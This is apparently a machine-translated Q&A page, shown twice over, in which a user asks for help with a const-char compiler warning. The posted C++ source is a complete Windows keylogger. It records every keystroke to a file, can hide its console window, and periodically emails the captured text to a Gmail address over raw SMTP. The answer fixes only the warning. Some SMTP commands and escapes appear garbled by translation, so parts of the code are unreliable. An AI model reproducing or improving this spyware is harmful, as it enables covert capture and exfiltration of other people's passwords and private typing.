您好,我的代码中存在语法问题。你能帮助我吗?
Greetings, I have a syntax problem in my code. Can you help me?
我有一个用 C++ 编写的代码,但是我使用的是一个名为 DEV-C++ 的 IDE,它出现了一个编译错误:
[警告] 弃用了从字符串常量到 'char*' [-Wwrite-strings]
的转换
错误指向if内的条件:savePressedKey。
if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
我的代码在下面,也是 link: https://godbolt.org/z/zqgCzS
#include <stdio.h>
#include <windows.h>
#include <time.h>
#define INVISIBLE_CONSOLE 0
#define SILENT_CONSOLE 0
#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100
#define FILE_NAME "MarcadorLog.txt"
#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste@gmail.com"
#define EMAIL_TO "teste@gmail.com"
void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);
void verifyStealthMode() {
if(INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}
void savePressedKey(char pressedKey, char fileName[]) {
FILE *file = fopen(fileName, "a+");
fputc(pressedKey, file);
fclose(file);
}
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;
for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
if(GetAsyncKeyState(character) == -32767) {
pressedKey = character;
}
}
return pressedKey;
}
int getFileLength(char fileName[]) {
FILE *file = fopen(fileName, "rb");
fseek(file, 0, SEEK_END);
int fileLength = ftell(file);
fclose(file);
return fileLength;
}
char *getBufferFromFile(char fileName[]) {
FILE *file = fopen(fileName, "rb");
int fileLength = getFileLength(fileName);
char *buffer = (char *) malloc(fileLength + 1);
fread(buffer, sizeof(char), fileLength, file);
buffer[fileLength] = '[=11=]';
fclose(file);
return buffer;
}
void overrideFile(char fileName[]) {
FILE *file = fopen(fileName, "w");
fclose(file);
}
int main() {
verifyStealthMode();
clock_t timer;
clock_t now = clock();
while(1) {
int pressedKey = getPressedKeyBetweenASCII(8, 255);
if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
timer = (clock() - now) / CLOCKS_PER_SEC;
if(timer > LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);
if(fileLength > 0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));
overrideFile(FILE_NAME);
}
now = clock();
} else if(!SILENT_CONSOLE) {
system("cls");
printf("Lendo...");
printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
}
}
return 0;
}
void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);
if(!SILENT_CONSOLE) printf("\n%s", data);
}
void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent *host;
struct sockaddr_in dest;
char data[3000];
// Get socket and dest:
WSAStartup(0x202, &wsaData);
host = gethostbyname(server);
memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);
dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock, (struct sockaddr *) &dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);
sprintf(data, "Ola me.somepalace.com\n");
sendData(sock, data);
sprintf(data, "Email de: <%s>\n", from);
sendData(sock, data);
sprintf(data, "recebido por: <%s>\n", to);
sendData(sock, data);
sprintf(data, "DATA\n");
sendData(sock, data);
sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);
sprintf(data, "sair\n");
sendData(sock, data);
if(!SILENT_CONSOLE) {
printf("\ntodos os pacotes foram enviados");
Sleep(5000);
system("cls");
}
closesocket(sock);
WSACleanup();
}
此警告意味着您正试图将在 C++ 中(与 C 相对)具有常量字符数组类型的字符串文字传递给相应参数没有限定符的函数 const
.
如果此函数不更改传递的字符串,则应声明为
void savePressedKey(char pressedKey, const char fileName[]);
否则,如果函数使用字符串文字作为参数更改传递的字符串,将导致未定义的行为。
即使程序是 C 程序,您也应该使用限定符 const
.
声明参数
我有一个用 C++ 编写的代码,但是我使用的是一个名为 DEV-C++ 的 IDE,它出现了一个编译错误:
[警告] 弃用了从字符串常量到 'char*' [-Wwrite-strings]
的转换错误指向if内的条件:savePressedKey。
if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
我的代码在下面,也是 link: https://godbolt.org/z/zqgCzS
#include <stdio.h>
#include <windows.h>
#include <time.h>
#define INVISIBLE_CONSOLE 0
#define SILENT_CONSOLE 0
#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100
#define FILE_NAME "MarcadorLog.txt"
#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste@gmail.com"
#define EMAIL_TO "teste@gmail.com"
void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);
void verifyStealthMode() {
if(INVISIBLE_CONSOLE) {
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
}
void savePressedKey(char pressedKey, char fileName[]) {
FILE *file = fopen(fileName, "a+");
fputc(pressedKey, file);
fclose(file);
}
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
int pressedKey = 0;
for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
if(GetAsyncKeyState(character) == -32767) {
pressedKey = character;
}
}
return pressedKey;
}
int getFileLength(char fileName[]) {
FILE *file = fopen(fileName, "rb");
fseek(file, 0, SEEK_END);
int fileLength = ftell(file);
fclose(file);
return fileLength;
}
char *getBufferFromFile(char fileName[]) {
FILE *file = fopen(fileName, "rb");
int fileLength = getFileLength(fileName);
char *buffer = (char *) malloc(fileLength + 1);
fread(buffer, sizeof(char), fileLength, file);
buffer[fileLength] = '[=11=]';
fclose(file);
return buffer;
}
void overrideFile(char fileName[]) {
FILE *file = fopen(fileName, "w");
fclose(file);
}
int main() {
verifyStealthMode();
clock_t timer;
clock_t now = clock();
while(1) {
int pressedKey = getPressedKeyBetweenASCII(8, 255);
if(pressedKey) {
savePressedKey(pressedKey, FILE_NAME);
now = clock();
}
timer = (clock() - now) / CLOCKS_PER_SEC;
if(timer > LISTENER_TIMER) {
int fileLength = getFileLength(FILE_NAME);
if(fileLength > 0) {
sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));
overrideFile(FILE_NAME);
}
now = clock();
} else if(!SILENT_CONSOLE) {
system("cls");
printf("Lendo...");
printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
}
}
return 0;
}
void sendData(SOCKET sock, char data[]) {
send(sock, data, strlen(data), 0);
Sleep(SENDER_SLEEP_TIME);
if(!SILENT_CONSOLE) printf("\n%s", data);
}
void sendEmail(char server[], char from[], char to[], char buffer[]) {
SOCKET sock;
WSADATA wsaData;
struct hostent *host;
struct sockaddr_in dest;
char data[3000];
// Get socket and dest:
WSAStartup(0x202, &wsaData);
host = gethostbyname(server);
memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);
dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock, (struct sockaddr *) &dest, sizeof(dest));
Sleep(SENDER_SLEEP_TIME);
sprintf(data, "Ola me.somepalace.com\n");
sendData(sock, data);
sprintf(data, "Email de: <%s>\n", from);
sendData(sock, data);
sprintf(data, "recebido por: <%s>\n", to);
sendData(sock, data);
sprintf(data, "DATA\n");
sendData(sock, data);
sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
sendData(sock, data);
sprintf(data, "sair\n");
sendData(sock, data);
if(!SILENT_CONSOLE) {
printf("\ntodos os pacotes foram enviados");
Sleep(5000);
system("cls");
}
closesocket(sock);
WSACleanup();
}
此警告意味着您正试图将在 C++ 中(与 C 相对)具有常量字符数组类型的字符串文字传递给相应参数没有限定符的函数 const
.
如果此函数不更改传递的字符串,则应声明为
void savePressedKey(char pressedKey, const char fileName[]);
否则,如果函数使用字符串文字作为参数更改传递的字符串,将导致未定义的行为。
即使程序是 C 程序,您也应该使用限定符 const
.